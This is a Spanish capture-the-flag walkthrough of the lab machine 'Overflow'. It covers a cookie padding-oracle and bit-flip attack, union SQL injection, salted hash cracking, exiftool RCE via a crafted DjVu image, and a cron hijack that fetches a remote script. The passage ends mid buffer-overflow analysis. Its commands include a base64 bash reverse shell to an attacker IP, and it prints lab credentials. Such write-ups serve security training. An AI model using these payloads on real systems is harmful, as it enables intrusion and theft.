Overflow
26 minutos de lectura
- SO: Linux
- Dificultad: Difícil
- Dirección IP: 10.10.11.119
- Fecha: 23 / 10 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.119 -p 22,25,80
Nmap scan report for 10.10.11.119
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 eb:7c:15:8f:f2:cc:d4:26:54:c1:e1:57:0d:d5:b6:7c (RSA)
| 256 d9:5d:22:85:03:de:ad:a0:df:b0:c3:00:aa:87:e8:9c (ECDSA)
|_ 256 fa:ec:32:f9:47:17:60:7e:e0:ba:b6:d1:77:fb:07:7b (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: overflow, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Overflow Sec
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: Host: overflow; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 42.40 seconds
La máquina tiene abiertos los puertos 22 (SSH), 25 (SMTP) y 80 (HTTP).
Enumeración web
Si vamos a http://10.10.11.119
veremos una página como esta:
En el pie de página vemos Overflow.HTB
. Por si acaso, vamos a poner overflow.htb
en /etc/hosts
. La página que muestra http://overflow.htb
es la misma que antes.
Vamos a registrar una nueva cuenta pinchando en “Sign Up”:
Y luego ya tendremos una sesión:
Existe un apartado de blog que muestra cita estas vulnerabilidades:
- Outdated Softwares
- Buffer Overflows
- Insecure File uploads
- SQL Truncation attack
Acceso como admin
Después de enumerar toda la página, realizar fuzzing de rutas y probar inyecciones SQL, llegamos a un punto muerto.
Sin embargo, todavía podemos probar algunos ataques en la cookie. Si el servidor está utilizando DES CBC para generar las cookies, podría ser vulnerable a Padding Oracle Attack. Podemos probar este ataque con PadBuster
.
Para usar PadBuster
, tenemos que poner nuestra cookie y el número de bytes por bloque (podemos deducir que es 8, y si no funciona, pues 16):
$ perl padBuster.pl http://overflow.htb 4PrZDoBliCaMXXJIg3oRxLUbV72cdBks 8 -cookie 'auth=4PrZDoBliCaMXXJIg3oRxLUbV72cdBks' -encoding 0
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 12227
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 12227 N/A
2 ** 255 302 0 ../logout.php?err=1
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Block 1 Results:
[+] Cipher Text (HEX): 8c5d7248837a11c4
[+] Intermediate Bytes (HEX): 9589bc7cbd52fa49
[+] Plain Text: user=7ro
...
Block 2 Results:
[+] Cipher Text (HEX): b51b57bd9c74192c
[+] Intermediate Bytes (HEX): ef360b4d867f14c1
[+] Plain Text: cky
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): user=7rocky
[+] Decrypted value (HEX): 757365723D37726F636B790505050505
[+] Decrypted value (Base64): dXNlcj03cm9ja3kFBQUFBQ==
Esta herramienta es capaz de descifrar la cookie y mostrarla en texto claro (user=7rocky
). La misma herramienta puede crear una cookie que se descifre como user=admin
:
$ perl padBuster.pl http://overflow.htb 4PrZDoBliCaMXXJIg3oRxLUbV72cdBks 8 -cookie 'auth=4PrZDoBliCaMXXJIg3oRxLUbV72cdBks' -encoding 0 -plaintext 'user=admin'
INFO: The original request returned the following
[+] Status: 302
[+] Location: home/index.php
[+] Content Length: 12227
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 12227 N/A
2 ** 255 302 0 ../logout.php?err=1
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d
...
Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
Y ahora tenemos una cookie válida para iniciar sesión como admin
: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
.
Existe otra manera de iniciar sesión como admin
. Esta es mucho más elegante: solamente tenemos que registrar una nueva cuenta con admin=
como nombre de usuario (de hecho, el número de =
al final no importa).
Esto funciona porque el código PHP estará utilizando la siguiente instrucción para extraer el usuario de la cookie descifrada (o similar):
list($a, $user) = explode('=', $decrypted_cookie);
Y entonces, los siguientes nombres de usuario funcionan:
$ php -a
Interactive mode enabled
php > list($a, $user) = explode('=', 'user=admin');
php > echo $user;
admin
php > list($a, $user) = explode('=', 'user=admin=');
php > echo $user;
admin
php > list($a, $user) = explode('=', 'user=admin====');
php > echo $user;
admin
Y existe otra manera más de conseguir una cookie como usuario admin
, que es realizando un Bit Flipper Attack. Este ataque se puede lanzar desde Burp Suite (Intruder), o puede ser implementado en un script personalizado en Python como bit_flipper.py
(explicación detallada aquí).
Como el servidor está usando un cifrado DES CBC (bloques de longitud 8), el esquema de descifrado es similar a este:
La idea es registrar una cuenta como `dmin
or bdmin
, ya que `
y b
son los caracteres ASCII más cercanos a la letra a
. Este es el resultado del script para ambos nombres de usuario:
$ python3 bit_flipper.py
[+] Original cookie for user `dmin: 8XriuBxV78NQchc7XKNVUHlt4qIutBEK
[*] Bit-flip cookie for user admin: 8XriuBxU78NQchc7XKNVUHlt4qIutBEK
$ python3 bit_flipper.py
[+] Original cookie for user bdmin: ioRhgV7BxTW2X8oR0UTI8r92y3rKsSA3
[*] Bit-flip cookie for user admin: ioRhgV7CxTW2X8oR0UTI8r92y3rKsSA3
La cookie “Bit-flip” es muy parecida a la cookie original, a excepción de una letra. Por ejemplo, en la cookie del usuario `dmin
, la diferencia reside en la letra V
, que se transforma en U
para obtener una cookie válida para admin
. Para ver la diferencia de manera correcta, las cookies se tienen que decodificar en Base64:
>>> from base64 import b64decode as b64d
>>> b64d('8XriuBxV78NQchc7XKNVUHlt4qIutBEK').hex()
'f17ae2b81c55efc35072173b5ca35550796de2a22eb4110a'
>>> b64d('8XriuBxU78NQchc7XKNVUHlt4qIutBEK').hex()
'f17ae2b81c54efc35072173b5ca35550796de2a22eb4110a'
Aquí se ve que los dígitos hexadecimales que difieren son un 5
("0101"
) y un 4
("0100"
). Ha ocurrido un flip en el último bit del dígito 5
. Lo que ocurre se puede ver más o menos con la siguiente imagen:
Fuente: https://resources.infosecinstitute.com/topic/cbc-byte-flipping-attack-101-approach/
No obstante, nótese que el primer bloque se tiene que descifrar como user=adm
(bloque de longitud 8) para que sea válido, y esta vez, el bit-flip ocurre en el sexto byte de la cookie cifrada. Por tanto, la cookie está enviando un cierto vector inicial (initial vector, IV) al inicio del texto cifrado; y por tanto, el bit-flip se acontece en el IV, como se muestra a continuación:
Habiendo dicho esto, podríamos habernos creado un usuario llamado ZZZin
(cookie en texto claro: user=ZZZin
) y modificar los 3 últimos bytes del IV de la cookie cifrada para que al descifrarla quede como user=admin
. Y esta función especial se añadió al script bit_flipper.py
:
$ python3 bit_flipper.py
[+] Original cookie for user ZZZin: eTFj72lzhNejCV3OoG4i8OUKa8gNvdbJ
[*] Bit-flip cookie for user admin: eTFj72lIuuCjCV3OoG4i8OUKa8gNvdbJ
Y después de esta disertación sobre criptografía, podemos aceder como admin
:
Encontrando un SQLi
En este punto, podemos is a “Admin Panel”, que muestra una página de inicio de sesión en CMS Made Simple:
Existen muchas vulnerabilidades para este CMS en ExploitDB. Una de ellas es una inyección de código SQL (CVE-2019-9053, 46635.py
), pero el exploit no funciona correctamente (podría estar parcheado).
El exploit extrae hashes de la base de datos, una sal para los hashes y luego trata de romperlos (ya que los hashes son MD5).
Vamos a enumerar de nuevo la web para ver si hay alguna inyección de código SQL. Como admin
podemos ver algunos logs:
Esta información que se muestra en la ventana viene de una petición web a http://overflow.htb/home/logs.php?name=admin
(usando AJAX).
Podemos comprobar aquí payloads comunes de SQLi hasta que encontramos uno que funciona (mediante un paréntesis de cierre:
$ curl "http://overflow.htb/home/logs.php?name=admin" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
<div id='last'>Last login : 11:00:00</div><br> <div id='last'>Last login : 14:00:00</div><br> <div id='last'>Last login : 16:00:00</div><br> <div id='last'>Last login : 10:00:00</div><br> <div id='last'>Last login : 12:00:00</div><br>
$ curl "http://overflow.htb/home/logs.php?name=admin'" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
$ curl "http://overflow.htb/home/logs.php?name=admin'--+-" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
$ curl "http://overflow.htb/home/logs.php?name=admin')--+-" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
<div id='last'>Last login : 11:00:00</div><br> <div id='last'>Last login : 14:00:00</div><br> <div id='last'>Last login : 16:00:00</div><br> <div id='last'>Last login : 10:00:00</div><br> <div id='last'>Last login : 12:00:00</div><br>
Ahora detectamos que es un SQLi de tipo Union-based en la tercera columna:
$ curl "http://overflow.htb/home/logs.php?name=')+union+select+('1" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
$ curl "http://overflow.htb/home/logs.php?name=')+union+select+1,('2" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
$ curl "http://overflow.htb/home/logs.php?name=')+union+select+1,2,('3" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
<div id='last'>Last login : 3</div><br>
En este punto podemos extraer información de la base de datos, por ejemplo:
$ curl "http://overflow.htb/home/logs.php?name=')+union+select+1,2,(select+version()+order+by+'1" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
<div id='last'>Last login : 5.7.35-0ubuntu0.18.04.2</div><br>
$ curl "http://overflow.htb/home/logs.php?name=')+union+select+1,2,(select+user()+order+by+'1" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
<div id='last'>Last login : developer@localhost</div><br>
$ curl "http://overflow.htb/home/logs.php?name=')+union+select+1,2,(select+database()+order+by+'1" -H 'Cookie: auth=27D0zsl796kY3V6LjcNvRu3vWRAmWEBA'
<div id='last'>Last login : logs</div><br>
Explotación de SQLi
Para realizar la explotación más fácil, vamos a crear un script personalizado en Ruby llamado sqli.rb
(explicación detallada aquí).
El script está diseñado para ser ejecutado por pasos. Primero, tenemos que enumerar las bases de datos existentes:
$ ruby sqli.rb --get-dbs
[*] Number of databases: 4.
information_schema
Overflow
cmsmsdb
logs
Ahora, debemos enumerar las tablas en cada base de datos. Vamos a comenzar por Overflow
:
$ ruby sqli.rb --db Overflow --get-tables
[*] Number of tables in Overflow: 1.
users
Solamente existe una tabla llamada users
. Ahora podemos listar sus columnas:
$ ruby sqli.rb --db Overflow --table users --get-columns
[*] Number of columns in Overflow.users: 2.
username
password
Y finalmente, extraer los contenidos de ambas columnas:
$ ruby sqli.rb --db Overflow --table users --columns username,password
[*] Number of rows in Overflow.users: 1.
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | c71d60439ed5590b3c5e99d95ed48165 |
+----------+----------------------------------+
Tenemos un hash de una contraseña. Por si acaso, vamos a examinar la base de datos llamada logs
:
$ ruby sqli.rb --db logs --get-tables
[*] Number of tables in logs: 1.
userlog
$ ruby sqli.rb --db logs --table userlog --get-columns
[*] Number of columns in logs.userlog: 3.
id
USERNAME
Lastlogin
Y no hay nada interesante. Finalmente, podemos analizar la base de datos llamada cmsmsdb
:
$ ruby sqli.rb --db cmsmsdb --get-tables
[*] Number of tables in cmsmsdb: 47.
cms_additional_users
cms_additional_users_seq
cms_admin_bookmarks
cms_admin_bookmarks_seq
cms_adminlog
cms_content
cms_content_props
cms_content_props_seq
cms_content_seq
...
cms_routes
cms_siteprefs
cms_user_groups
cms_userplugins
cms_userplugins_seq
cms_userprefs
cms_users
cms_users_seq
cms_version
Hay un montón de tablas. La más interesante es cms_users
:
$ ruby sqli.rb --db cmsmsdb --table cms_users --get-columns
[*] Number of columns in cmsmsdb.cms_users: 10.
user_id
username
password
admin_access
first_name
last_name
email
active
create_date
modified_date
En esta tabla, parece que username
y password
serán útiles:
$ ruby sqli.rb --db cmsmsdb --table cms_users --columns user_id,username,password,admin_access
[*] Number of rows in cmsmsdb.cms_users: 2.
+---------+----------+----------------------------------+--------------+
| user_id | username | password | admin_access |
+---------+----------+----------------------------------+--------------+
| 1 | admin | c6c6b9310e0e6f3eb3ffeb2baff12fdd | 1 |
| 3 | editor | e3d748d58b58657bfa4dffe2def0b1c7 | 1 |
+---------+----------+----------------------------------+--------------+
Si tratamos de romper estos hashes (y el que encontramos antes), no podremos. Aquí tenemos que recordar que el exploit de ExploitDB estaba utilizando una sal almacenada en la base de datos (específicamente, en la tabla cms_siteprefs
):
$ ruby sqli.rb --db cmsmsdb --table cms_siteprefs --get-columns
[*] Number of columns in cmsmsdb.cms_siteprefs: 4.
sitepref_name
sitepref_value
create_date
modified_date
$ ruby sqli.rb --db cmsmsdb --table cms_siteprefs --columns sitepref_name,sitepref_value | head -7
[*] Number of rows in cmsmsdb.cms_siteprefs: 37.
+---------------+------------------+
| sitepref_name | sitepref_value |
+---------------+------------------+
| sitemask | 6c2d17f37e226486 |
+---------------+------------------+
Y aquí tenemos la sal, ahora podemos romper los hashes. Para este propósito, usé un script sencillo en Python:
import hashlib
salt = b'6c2d17f37e226486'
wordlist = 'rockyou.txt'
def crack(md5_hash):
print('[+] Cracking hash:', md5_hash)
with open(wordlist, 'rb') as f:
for line in f.read().splitlines():
if hashlib.md5(salt + line).hexdigest() == md5_hash:
print('[*] Password hash cracked:', line.decode())
break
crack('c6c6b9310e0e6f3eb3ffeb2baff12fdd')
crack('e3d748d58b58657bfa4dffe2def0b1c7')
crack('c71d60439ed5590b3c5e99d95ed48165')
$ python3 crack.py
[+] Cracking hash: c6c6b9310e0e6f3eb3ffeb2baff12fdd
[+] Cracking hash: e3d748d58b58657bfa4dffe2def0b1c7
[*] Password hash cracked: alpha!@#$%bravo
[+] Cracking hash: c71d60439ed5590b3c5e99d95ed48165
Y tenemos la contraseña del usuario editor
: alpha!@#$%bravo
.
Intrusión en la máquina
Estas credenciales son válidas para el CMS, tenemos acceso al panel de administración:
En el pie de página vemos que la versión del CMS es CMS Made Simple 2.2.8. Esto es útil para encontrar exploits. Existe un exploit de RCE (49345
) al definir una nueva etiqueta en la sección de “Extensions”. Si vamos allí, vemos este mensaje:
Hay otro subdominio llamado devbuild-job.overflow.htb
.
Antes de enumerar el subdominio, podemos tratar de seguir las acciones listadas en el exploit para ganar ejecución remota de comandos, pero sin éxito. Por tanto, parece que no hay nada más que hacer aquí.
Si vamos a http://devbuild-job.overflow.htb
vemos otro formulario de inicio de sesión:
El mensaje del CMS decía que entráramos con las mismas credenciales, por lo que tenemos que usar otra vez editor:alpha!@#$%bravo
:
Parece que hay mucho por hacer, pero que no cunda el pánico. La mayoría de botones y enlaces están deshabilitados. De hecho, la página web solo tiene una funcionalidad, que es la sección “Account”:
Somos capaces de subir imágenes al servidor, pero de una manera peculiar. Si analizamos la respuesta con Burp Suite (Repeater), podemos ver una respuesta extraña:
La respuesta contiene la salida de ejecutar exiftool
para extraer los metadatos de la imagen subida.
La versión de exiftool
se muestra en el cuerpo de respuesta (11.92.) Existe una vulnerabilidad de ejecución remota de comandos (RCE) para exiftool
por debajo de la versión 12.24 (CVE-2021-22204).
Siguiendo los pasos mostrados en este blog, seremos capaces de ganar acceso a la máquina.
Para crear la imagen del exploit, tenemos que instalar djvumake
. Las instrucciones están en el blog:
$ vim payload
$ cat payload
(metadata "\c${system('id')};")
$ bzz payload payload.bzz
$ djvumake exploit.jpg INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
Y si subimos exploit.jpg
, veremos la salida del comando id
en la respuesta:
Una vez que tenemos RCE, podemos obtener acceso a la máquina utilizando una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ vim payload
$ cat payload
(metadata "\c${system('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash')};")
$ bzz payload payload.bzz
$ djvumake exploit.jpg INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
Ahora subimos exploit.jpg
y llega una conexión a nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.119.
Ncat: Connection from 10.10.11.119:44332.
bash: cannot set terminal process group (1019): Inappropriate ioctl for device
bash: no job control in this shell
www-data@overflow:~/devbuild-job/home/profile$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@overflow:~/devbuild-job/home/profile$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@overflow:~/devbuild-job/home/profile$ export TERM=xterm
www-data@overflow:~/devbuild-job/home/profile$ export SHELL=bash
www-data@overflow:~/devbuild-job/home/profile$ stty rows 50 columns 158
Movimiento lateral a developer
Existen dos usuarios en /home
:
www-data@overflow:~/devbuild-job/home/profile$ cd
www-data@overflow:~$ pwd
/var/www
www-data@overflow:~$ ls /home
developer tester
La flag user.txt
está en /home/tester
, y necesitamos ser tester
para poder leerla. Por tanto, tenemos que realizar un movimiento lateral a tester
:
www-data@overflow:~$ find / -name user.txt 2>/dev/null
/home/tester/user.txt
www-data@overflow:~$ ls -l /home/tester/user.txt
-rw-r----- 1 root tester 33 Dec 31 14:28 /home/tester/user.txt
Como www-data
podemos leer el código fuente PHP. Vamos a buscar por credentiales en texto claro:
www-data@overflow:~$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Sep 17 21:56 .
drwxr-xr-x 14 root root 4096 Sep 17 21:56 ..
drwxr-xr-x 5 www-data root 4096 Sep 29 22:03 devbuild-job
drwxr-xr-x 6 www-data root 4096 Sep 29 02:31 html
www-data@overflow:~$ ls -la html
total 56
drwxr-xr-x 6 www-data root 4096 Sep 29 02:31 .
drwxr-xr-x 4 root root 4096 Sep 17 21:56 ..
drwxr-xr-x 9 www-data root 4096 Sep 29 20:12 admin_cms_panel
drwxr-xr-x 5 www-data root 4096 Sep 29 02:38 assets
drwxr-xr-x 2 www-data root 4096 Sep 29 20:12 config
drwxr-xr-x 3 www-data root 4096 Sep 29 02:44 home
-rwxr-xr-x 1 www-data root 12406 Sep 29 02:24 index.php
-rwxr-xr-x 1 www-data root 2773 Sep 29 02:30 login.php
-rwxr-xr-x 1 www-data root 269 May 26 2021 logout.php
-rwxr-xr-x 1 www-data root 4251 Sep 29 02:31 register.php
www-data@overflow:~$ ls -la html/config
total 24
drwxr-xr-x 2 www-data root 4096 Sep 29 20:12 .
drwxr-xr-x 6 www-data root 4096 Sep 29 02:31 ..
-rw-r--r-- 1 root root 418 May 25 2021 admin_last_login.js
-rwxr-xr-x 1 www-data root 391 May 18 2021 auth.php
-rwxr-xr-x 1 www-data root 315 May 28 2021 db.php
-rwxr-xr-x 1 www-data root 3287 May 28 2021 users.php
www-data@overflow:~$ cat html/config/db.php
<?php
#define('DB_Server', 'localhost');
#define('DB_Username', 'root');
#define('DB_Password', 'root');
#define('DB_Name', 'Overflow');
$lnk = mysqli_connect("localhost", "developer", "sh@tim@n", "Overflow");
$db = mysqli_select_db($lnk, "Overflow");
if ($db == false) {
dir('Cannot Connect to Database');
}
?>
Y aquí tenemos la contraseña del usuario developer
de MySQL. Afortunadamente, si tranamos de cambiar de usuario a developer
usando sh@tim@n
como contraseña, obtendremos acceso:
www-data@overflow:~$ su developer
Password:
$ echo $0
sh
$ bash
developer@overflow:/var/www$
Nótese que hemos entrado en /bin/sh
en lugar de /bin/bash
.
Movimiento lateral a tester
El usuario developer
pertenece a un grupo llamado network
:
developer@overflow:/var/www$ id
uid=1001(developer) gid=1001(developer) groups=1001(developer),1002(network)
Los miembros de este grupo pueden modificar /etc/hosts
:
developer@overflow:/var/www$ find / -group network 2>/dev/null
/etc/hosts
developer@overflow:/var/www$ ls -l /etc/hosts
-rwxrw-r-- 1 root network 201 Jan 1 08:20 /etc/hosts
Con este permiso, podemos añadir subdominios al DNS local de la máquina (esto es, el archivo /etc/hosts
).
Como necesitamos convertirnos en tester
, vamos a ver si este usuario tiene algún archivo interesante:
developer@overflow:/var/www$ find / -user tester 2>/dev/null | grep -v proc
/home/tester
/home/tester/.cache
/home/tester/.ssh
/home/tester/.profile
/home/tester/.gnupg
/var/mail/tester
/opt/commontask.sh
Hay un script en Bash llamado /opt/commontask.sh
:
developer@overflow:/var/www$ cat /opt/commontask.sh
#!/bin/bash
#make sure its running every minute.
bash < <(curl -s http://taskmanage.overflow.htb/task.sh)
Parece que contiene una tarea Cron que solicita un archivo llamado task.sh
desde http://taskmanage.overflow.htb
y lo ejecuta con Bash.
En este punto, tenemos que añadir un subdominio llamado taskmanage.overflow.htb
en el /etc/hosts
de la máquina para que apunte a nuestra dirección IP de atacante. Luego, debemos alojar un archivo llamado task.sh
para que sea descargado y ejecutado con Bash:
developer@overflow:/var/www$ vim /etc/hosts
developer@overflow:/var/www$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overflow overflow.htb
10.10.17.44 taskmanage.overflow.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
$ vim task.sh
$ cat task.sh
#!/bin/bash
echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash
$ python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.119 - - [] "GET /task.sh HTTP/1.1" 200 -
Y si estamos escuchando con nc
, onseguiremos acceso como tester
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.119.
Ncat: Connection from 10.10.11.119:44534.
bash: cannot set terminal process group (7907): Inappropriate ioctl for device
bash: no job control in this shell
tester@overflow:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tester@overflow:~$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
tester@overflow:~$ export TERM=xterm
tester@overflow:~$ export SHELL=bash
tester@overflow:~$ stty rows 50 columns 158
En este punto, podemos capturar la flag user.txt
:
tester@overflow:~$ cat user.txt
9248cf7d566c232e4618be372f16fe38
Analizando un binario SUID
Ahora que somos tester
, podemos mirar si hay binarios SUID inusuales:
tester@overflow:~$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/bin/ping
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/opt/file_encrypt/file_encrypt
tester@overflow:~$ ls -l /opt/file_encrypt/file_encrypt
-rwsr-xr-x 1 root root 11904 May 31 2021 /opt/file_encrypt/file_encrypt
Hay uno que parece interesante: /opt/file_encrypt/file_encrypt
. Vamos a ver lo que hace:
tester@overflow:~$ file /opt/file_encrypt/file_encrypt
/opt/file_encrypt/file_encrypt: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ae0f5750a8f1ac38945f813b5e34ddc166daf57, not stripped
tester@overflow:~$ /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: 1
Wrong Pin
Hay más información relacionada en /opt/file_encrypt
:
tester@overflow:~$ ls -la /opt/file_encrypt/
total 24
drwxr-x---+ 2 root root 4096 Sep 17 21:56 .
drwxr-xr-x 3 root root 4096 Sep 17 21:56 ..
-rwsr-xr-x 1 root root 11904 May 31 2021 file_encrypt
-rw-r--r-- 1 root root 399 May 30 2021 README.md
tester@overflow:~$ cat /opt/file_encrypt/README.md
Our couple of reports have been leaked to avoid this.
We have created a tool to encrypt your reports.
Please check the pin feature of this application and
report any issue that you get as this application is
still in development. We have modified the tool a
little bit that you can only use the pin feature now.
The encrypt function is there but you can't use it now.
The PIN should be in your inbox
El binario está programado para encriptar archivos, pero la función que encripta no se llama en el programa principal. Sin embargo, el código de esa función sigue estando compilado.
Para analizar el binario, vamos a transferirlo a nuestra máquina:
tester@overflow:~$ which python3
/usr/bin/python3
tester@overflow:~$ cd /opt/file_encrypt
tester@overflow:~$ python3 -m http.server 1234
Serving HTTP on :: port 1234 (http://[::]:1234/) ...
10.10.17.44 - - [] "GET /file_encrypt HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
$ curl 10.10.11.119:1234/file_encrypt -so file_encrypt
Ahora podemos usar Ghidra como herramienta de ingeniería inversa para descompilar el binario y ver el código fuente en C.
Esta es la función main
:
int main() {
check_pin();
return 0;
}
Llama a check_pin
, que es esta otra:
void check_pin() {
char local_2c[20];
int local_18;
long local_14;
int local_10;
local_10 = rand();
local_14 = random();
printf("This is the code %i. Enter the Pin: ", local_10);
__isoc99_scanf("%i", &local_18);
if (local_14 == local_18) {
printf("name: ");
__isoc99_scanf("%s", local_2c);
puts("Thanks for checking. You can give your feedback for improvements at developer@overflow.htb");
} else {
puts("Wrong Pin");
}
return;
}
El código almacenado en local_10
es siempre el mismo: 1804289383
. El programa está comparando el valor guardado en local_14
con el PIN tomado de la entrada de usuario.
El número que está en local_14
es el resultado de la función llamada random
, que es esta:
long random() {
uint in_stack_00000004;
uint local_c;
int local_8;
local_c = 0x6b8b4567;
for (local_8 = 0; local_8 < 10; local_8 = local_8 + 1) {
local_c = local_c * 0x59 + 0x14;
}
return local_c ^ in_stack_00000004;
}
Aunque Ghidra no es capaz de mostrar el valor de la variable in_stack_00000004
, podemos deducir que es 0x6b8b4567
. Entonces podemos sacar cuál es el PIN esperado. Por ejemplo, en Python sería así:
>>> local_c = 0x6b8b4567
>>> for _ in range(10):
... local_c = local_c * 0x59 + 0x14
...
>>> print(local_c ^ 0x6b8b4567)
56260846220404243151385449272
Sin embargo, si metemos este PIN, está mal:
$ ./file_encrypt
This is the code 1804289383. Enter the Pin: 56260846220404243151385449272
Wrong Pin
Aquí tenemos que darnos cuenta de que usa:
__isoc99_scanf("%i", &local_18);
Está leyendo un número entero (integer, no un long integer), por lo que tenemos que truncarlo a 32 bits:
>>> print((local_c ^ 0x6b8b4567) & 0xffffffff)
4091990840
Pero sigue estando mal:
$ ./file_encrypt
This is the code 1804289383. Enter the Pin: 4091990840
Wrong Pin
En este punto, vamos a usar GDB para depurar el programa y ver el valor esperado.
Primero, vamos a poner un breakpoint en la instrucción de comparación (cmp
en ensamblador):
$ gdb -q file_encrypt
Reading symbols from file_encrypt...
(No debugging symbols found in file_encrypt)
gef➤ run
Starting program: ./file_encrypt
This is the code 1804289383. Enter the Pin: ^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
gef➤ disassemble check_pin
Dump of assembler code for function check_pin:
...
0x56555afd <+77>: push eax
0x56555afe <+78>: call 0x565556c0 <__isoc99_scanf@plt>
0x56555b03 <+83>: add esp,0x10
0x56555b06 <+86>: mov eax,DWORD PTR [ebp-0x14]
0x56555b09 <+89>: cmp DWORD PTR [ebp-0x10],eax
0x56555b0c <+92>: jne 0x56555b4a <check_pin+154>
...
End of assembler dump.
gef➤ break *0x56555b09
Breakpoint 1 at 0x56555b09
Ahora continuamos el programa, ponemos un PIN cualquiera y leemos el valor en $ebp-0x10
:
gef➤ continue
Continuing.
1
Breakpoint 1, 0x56555b09 in check_pin ()
gef➤ x $ebp-0x10
0xffffd078: 0xf3e6d338
Contiene el valor 0xf3e6d338
, que es 4091990840
en decimal. Esto es extraño, ya que es el valor que probamos antes.
El truco aquí es que el valor empieza por 0xf
, que significa que el bit más significativo es un 1
. Si esto ocurre, entonces el número es negativo. Para calcular el valor negativo, tenemos que calcular el complemento a dos de 0xf3e6d338
, que es:
>>> (~0xf3e6d338 & 0xffffffff) + 1
202976456
Otra manera de encontrar este valor es con GDB, expresando el valor como integer (formato d
):
gef➤ p/d 0xf3e6d338
$1 = -202976456
Ahora probamos con -202976456
, y funciona:
tester@overflow:~$ /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name:
Explotación de Buffer Overflow
Vamos a revisar qué hace la función check_pin
cuando el PIN es correcto:
void check_pin() {
char local_2c[20];
// ...
if (local_14 == local_18) {
printf("name: ");
__isoc99_scanf("%s", local_2c);
